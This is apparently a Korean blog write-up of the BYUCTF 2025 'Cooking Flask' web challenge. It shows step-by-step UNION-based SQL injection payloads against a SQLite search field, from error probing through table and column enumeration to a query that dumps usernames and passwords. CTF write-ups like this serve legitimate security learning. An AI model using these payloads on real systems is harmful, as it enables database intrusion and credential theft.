Notice
Recent Posts
Recent Comments
Link
«   2025/12   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30 31
Archives
Today
Total
관리 메뉴

HW_chick hacker

[WEB] Cooking Flask - BYUCTF 2025 본문

CTF

[WEB] Cooking Flask - BYUCTF 2025

{{HW}} 2025. 5. 27. 22:57

 

 

웹 페이지 접근 시 검색 창에 SQL 쿼리를 넣어 데이터를 추출하는 문제이다.

 

' (싱글 쿼터) 삽입

sqlite3.OperationalError: unrecognized token: ""%')"

 

- "%') 이 존재에 SQLlite 구조상 맞지가 않아 오류가 나옴

 

 

Dessert"%')"

sqlite3.OperationalError: near """": syntax error

 

 

Dessert"%')+union+select+'1','2','3','4','5','6','7','8'--+-

pydantic_core._pydantic_core.ValidationError: 2 validation errors for Recipe
date_created
  Datetimes provided to dates should have zero time - e.g. be exact dates [type=date_from_datetime_inexact, input_value='3', input_type=str]
    For further information visit https://errors.pydantic.dev/2.11/v/date_from_datetime_inexact
tags
  Input should be a valid list [type=list_type, input_value=7, input_type=int]
    For further information visit https://errors.pydantic.dev/2.11/v/list_type

 

 

- 칼럼 수는 8개 이며 데이터 타입이 알맞지 않아 나오는 오류이다.

- 데이터 타입이 3번째, 7번째 맞는 데이터를 삽입을 시도한다.

 

 

Dessert"%') UNION SELECT '1', '2', '2025-05-15', '4', '5', '6', '["Sweet", "Dessert", "Baking"]', '8'--+-

 

- Union SQL 인젝션이 되는 것을 확인 할 수 있으며, 차례대로 table, column, Data를 추출하면 Flag 값을 확인 할 수 있다.

 

 

Dessert"%') UNION SELECT '1', name, '2025-05-15', '4', '5', '6', '["Sweet"]', '8' FROM sqlite_master WHERE type='table'--+-

 

 

 

Dessert"%') UNION SELECT '1', name, '2025-05-15', '4', '5', '6', '["Sweet"]', '8' FROM pragma_table_info('user')--+-

 

 

Dessert"%') UNION SELECT '1', username, '2025-05-15', '4', password, '6', '["Sweet"]', '8' FROM user--+-